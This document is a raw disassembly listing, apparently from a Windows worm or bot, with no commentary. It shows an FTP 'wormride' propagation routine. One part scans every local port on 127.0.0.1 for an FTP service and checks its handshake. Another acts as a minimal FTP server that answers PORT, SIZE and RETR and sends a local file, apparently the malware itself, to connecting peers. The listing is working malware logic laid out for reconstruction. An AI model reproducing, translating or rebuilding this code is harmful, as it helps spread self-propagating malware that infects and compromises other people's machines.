		call	sub_416B82	; fclose
		pop	ecx
		xor	eax, eax
		jmp	short locret_411139
; ---------------------------------------------------------------------------


loc_41111C:				; CODE XREF: sub_41102F+CFj
		jmp	short loc_41109F
; ---------------------------------------------------------------------------


loc_41111E:				; CODE XREF: sub_41102F+7Ej
		push	[ebp+var_204]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax

locret_411139:				; CODE XREF: sub_41102F+38j
					; sub_41102F+6Bj ...
		leave
		retn
sub_41102F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41113B	proc near		; DATA XREF: sub_411BBC+156o

var_558		= dword	ptr -558h
var_554		= dword	ptr -554h
var_550		= dword	ptr -550h
var_54C		= dword	ptr -54Ch
var_548		= dword	ptr -548h
var_544		= dword	ptr -544h
var_540		= byte ptr -540h
var_53C		= byte ptr -53Ch
var_538		= byte ptr -538h
var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_52C		= dword	ptr -52Ch
var_528		= dword	ptr -528h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_318		= byte ptr -318h
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 558h
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10C], eax
		push	offset dword_41C6B0
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		mov	al, ds:byte_41DF00
		mov	[ebp+var_104], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		mov	al, ds:byte_41DF00
		mov	[ebp+var_114], al
		xor	eax, eax
		lea	edi, [ebp+var_113]
		stosd
		stosb
		and	[ebp+var_4], 0
		and	[ebp+var_118], 0
		and	[ebp+var_108], 0


loc_4111CC:				; CODE XREF: sub_41113B+10Cj
					; sub_41113B+1BDj ...
		push	0EA60h
		push	[ebp+var_10C]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4119BA
		push	200h
		lea	eax, [ebp+var_318]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_520], eax
		cmp	[ebp+var_520], 0
		jz	short loc_411218
		cmp	[ebp+var_520], 0FFFFFFFFh
		jnz	short loc_41121D


loc_411218:				; CODE XREF: sub_41113B+D2j
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_41121D:				; CODE XREF: sub_41113B+DBj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_528], eax
		cmp	[ebp+var_528], 0
		jnz	short loc_411249
		jmp	short loc_4111CC
; ---------------------------------------------------------------------------


loc_411249:				; CODE XREF: sub_41113B+10Aj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_51C], eax
		cmp	[ebp+var_51C], 0
		jnz	short loc_411278
		mov	[ebp+var_51C], offset byte_41DF00


loc_411278:				; CODE XREF: sub_41113B+131j
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		push	[ebp+var_528]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_524]
		sub	eax, ds:dword_41C6A0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4112FD
		mov	[ebp+var_4], 1
		push	offset dword_41C698
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4112FD:				; CODE XREF: sub_41113B+178j
		mov	eax, [ebp+var_524]
		sub	eax, ds:dword_41C68C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41135D
		mov	[ebp+var_118], 1
		push	offset dword_41C684
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41135D:				; CODE XREF: sub_41113B+1D5j
		cmp	[ebp+var_4], 0
		jz	short loc_41136C
		cmp	[ebp+var_118], 0
		jnz	short loc_411371


loc_41136C:				; CODE XREF: sub_41113B+226j
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411371:				; CODE XREF: sub_41113B+22Fj
		mov	eax, [ebp+var_524]
		sub	eax, ds:dword_41C678
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4113C7
		push	offset dword_41C670
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4113C7:				; CODE XREF: sub_41113B+249j
		mov	eax, [ebp+var_524]
		sub	eax, ds:dword_41C664
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41141D
		push	offset dword_41C65C
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41141D:				; CODE XREF: sub_41113B+29Fj
		mov	eax, [ebp+var_524]
		sub	eax, ds:dword_41C654
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_411473
		push	offset dword_41C648
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411473:				; CODE XREF: sub_41113B+2F5j
		mov	eax, [ebp+var_524]
		sub	eax, ds:dword_41C63C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4114C9
		push	offset dword_41C634
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4114C9:				; CODE XREF: sub_41113B+34Bj
		mov	eax, [ebp+var_524]
		sub	eax, ds:dword_41C628
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41151F
		push	offset dword_41C620
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41151F:				; CODE XREF: sub_41113B+3A1j
		mov	eax, [ebp+var_524]
		sub	eax, ds:dword_41C614
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411622
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_52C]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		lea	eax, [ebp+var_538]
		push	eax
		lea	eax, [ebp+var_530]
		push	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	[ebp+var_51C]
		call	sub_416BA2	; sscanf
		add	esp, 20h
		movzx	eax, [ebp+var_540]
		push	eax
		movzx	eax, [ebp+var_53C]
		push	eax
		movzx	eax, [ebp+var_538]
		push	eax
		movzx	eax, [ebp+var_530]
		push	eax
		push	offset dword_418A50
		push	100h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 1Ch
		mov	eax, [ebp+var_52C]
		and	eax, 0FFh
		shl	eax, 8
		mov	ecx, [ebp+var_534]
		and	ecx, 0FFh
		or	eax, ecx
		push	eax
		push	offset dword_418A60
		push	6
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41C634
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411622:				; CODE XREF: sub_41113B+3F7j
		mov	eax, [ebp+var_524]
		sub	eax, ds:dword_41C5F4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_4116E9
		push	offset aRb	; "rb"
		push	offset dword_41EBFC
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_548], eax
		cmp	[ebp+var_548], 0
		jnz	short loc_411660
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_411660:				; CODE XREF: sub_41113B+51Ej
		push	2
		push	0
		push	[ebp+var_548]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_544], eax
		push	0
		push	0
		push	[ebp+var_548]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_544]
		push	offset dword_41C5E8
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4116E9:				; CODE XREF: sub_41113B+4FAj
		mov	eax, [ebp+var_524]
		sub	eax, ds:dword_41C5DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411873
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_54C], eax
		cmp	[ebp+var_54C], 0
		jz	short loc_411773
		cmp	[ebp+var_54C], 0FFFFFFFFh
		jnz	short loc_411778


loc_411773:				; CODE XREF: sub_41113B+62Dj
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_411778:				; CODE XREF: sub_41113B+636j
		push	offset aRb	; "rb"
		push	offset dword_41EBFC
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_554], eax
		cmp	[ebp+var_554], 0
		jnz	short loc_41179D
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_41179D:				; CODE XREF: sub_41113B+65Bj
		push	2
		push	0
		push	[ebp+var_554]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_550], eax
		push	0
		push	0
		push	[ebp+var_554]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B82	; fclose
		pop	ecx
		push	offset dword_41EBFC
		push	[ebp+var_550]
		push	offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan	1 0:00 .\r\ndrwxr-x"...
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_54C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_54C]
		call	sub_40538D
		pop	ecx
		push	offset dword_41C558
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411873:				; CODE XREF: sub_41113B+5C1j
		mov	eax, [ebp+var_524]
		sub	eax, ds:dword_41C54C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411969
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_41102F
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_411967
		push	offset dword_41C558
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	1
		push	offset dword_41EBD8
		call	sub_409C88
		pop	ecx
		pop	ecx
		inc	eax
		mov	[ebp+var_558], eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_558]
		push	offset aFtp_0	; "ftp"
		push	offset unk_41C520
		push	offset dword_41DB88
		call	sub_40D4AB
		add	esp, 14h
		push	3E8h
		call	ds:dword_41709C	; Sleep
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------


loc_411967:				; CODE XREF: sub_41113B+7A4j
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------


loc_411969:				; CODE XREF: sub_41113B+74Bj
		mov	eax, [ebp+var_524]
		sub	eax, ds:dword_41C514
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4119BA
		push	offset a221	; "221 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch


loc_4119BA:				; CODE XREF: sub_41113B+A5j
					; sub_41113B:loc_411218j ...
		push	offset a231	; "231 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		pop	edi
		leave
		retn	4
sub_41113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A09	proc near		; CODE XREF: sub_411BBC+90p

var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	32h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411A29
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A29:				; CODE XREF: sub_411A09+17j
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411A58
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411A5F


loc_411A58:				; CODE XREF: sub_411A09+44j
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A5F:				; CODE XREF: sub_411A09+4Dj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6D8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_411A09+78j
		push	offset dword_41C6CC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411AEE
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411AF5


loc_411AEE:				; CODE XREF: sub_411A09+DAj
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411AF5:				; CODE XREF: sub_411A09+E3j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6C8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411B20
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411B20:				; CODE XREF: sub_411A09+10Ej
		call	sub_410422
		push	eax
		push	offset dword_41C6BC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411B8B
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411B8F


loc_411B8B:				; CODE XREF: sub_411A09+177j
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------


loc_411B8F:				; CODE XREF: sub_411A09+180j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6B8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411BB7
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------


loc_411BB7:				; CODE XREF: sub_411A09+1A8j
		push	1
		pop	eax

locret_411BBA:				; CODE XREF: sub_411A09+1Bj
					; sub_411A09+51j ...
		leave
		retn
sub_411A09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411BBC	proc near		; CODE XREF: sub_411D59+6p

var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1C8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		jmp	short loc_411C04
; ---------------------------------------------------------------------------


loc_411BFD:				; CODE XREF: sub_411BBC:loc_411CABj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_411C04:				; CODE XREF: sub_411BBC+3Fj
		cmp	[ebp+var_8], 0FFFFh
		jnb	loc_411CB0
		push	0Ah
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_8]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset a127_0_0_1 ; "127.0.0.1"
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jz	short loc_411CAB
		push	[ebp+var_1C4]
		call	sub_411A09
		pop	ecx
		test	eax, eax
		jz	short loc_411C9F
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411C76
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_10]
		call	sub_404871
		add	esp, 0Ch
		jmp	short loc_411C9F
; ---------------------------------------------------------------------------


loc_411C76:				; CODE XREF: sub_411BBC+A5j
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_411C9F
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------


loc_411C9F:				; CODE XREF: sub_411BBC+98j
					; sub_411BBC+B8j ...
		push	[ebp+var_1C4]
		call	sub_4053B1
		pop	ecx


loc_411CAB:				; CODE XREF: sub_411BBC+88j
		jmp	loc_411BFD
; ---------------------------------------------------------------------------


loc_411CB0:				; CODE XREF: sub_411BBC+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_411CC9
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------


loc_411CC9:				; CODE XREF: sub_411BBC+F8j
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset unk_41C6DC
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_411CE5:				; CODE XREF: sub_411BBC:loc_411D3Cj
		push	3E8h
		push	[ebp+var_10]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		cmp	[ebp+var_1C8], 0
		jz	short loc_411D2E
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jz	short loc_411D2E
		push	[ebp+var_1C8]
		push	offset sub_41113B
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411D2E
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx


loc_411D2E:				; CODE XREF: sub_411BBC+145j
					; sub_411BBC+14Ej ...
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_411D3C
		jmp	short loc_411D3E
; ---------------------------------------------------------------------------


loc_411D3C:				; CODE XREF: sub_411BBC+17Cj
		jmp	short loc_411CE5
; ---------------------------------------------------------------------------


loc_411D3E:				; CODE XREF: sub_411BBC+17Ej
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_411D55:				; CODE XREF: sub_411BBC+DEj
					; sub_411BBC+108j
		leave
		retn	4
sub_411BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D59	proc near		; DATA XREF: sub_411D68+4Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_411BBC
		pop	ebp
		retn	4
sub_411D59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D68	proc near		; CODE XREF: sub_40A9CF+70Fp
					; sub_40A9CF+735p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_4042FB
		test	eax, eax
		jz	short loc_411D77
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------


loc_411D77:				; CODE XREF: sub_411D68+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411D8D
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------


loc_411D8D:				; CODE XREF: sub_411D68+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFtpWormrideThr ; "FTP wormride thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411D59
		call	sub_4095A4
		add	esp, 10h

locret_411DC3:				; CODE XREF: sub_411D68+Dj
					; sub_411D68+23j
		leave
		retn
sub_411D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DC5	proc near		; DATA XREF: sub_4123F6+43o

var_DAC		= dword	ptr -0DACh
var_DA8		= dword	ptr -0DA8h
var_DA4		= dword	ptr -0DA4h
var_DA0		= byte ptr -0DA0h
var_D9C		= dword	ptr -0D9Ch
var_D98		= byte ptr -0D98h
var_D94		= dword	ptr -0D94h
var_D90		= dword	ptr -0D90h
var_D8C		= dword	ptr -0D8Ch
var_D88		= dword	ptr -0D88h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D7C		= dword	ptr -0D7Ch
var_D70		= byte ptr -0D70h
var_D6F		= byte ptr -0D6Fh
var_D6E		= byte ptr -0D6Eh
var_D6D		= byte ptr -0D6Dh
var_D6C		= byte ptr -0D6Ch
var_B6C		= dword	ptr -0B6Ch
var_B68		= dword	ptr -0B68h
var_B64		= dword	ptr -0B64h
var_B60		= dword	ptr -0B60h
var_B5C		= dword	ptr -0B5Ch
var_B58		= dword	ptr -0B58h
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_1B0		= word ptr -1B0h
var_1AE		= word ptr -1AEh
var_1AC		= dword	ptr -1ACh
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_19A		= byte ptr -19Ah
var_199		= byte ptr -199h
var_11C		= byte ptr -11Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DACh
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	0
		push	2
		push	2
		call	ds:dword_417218	; socket
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0FFFFFFFFh
		jnz	short loc_411E1D
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


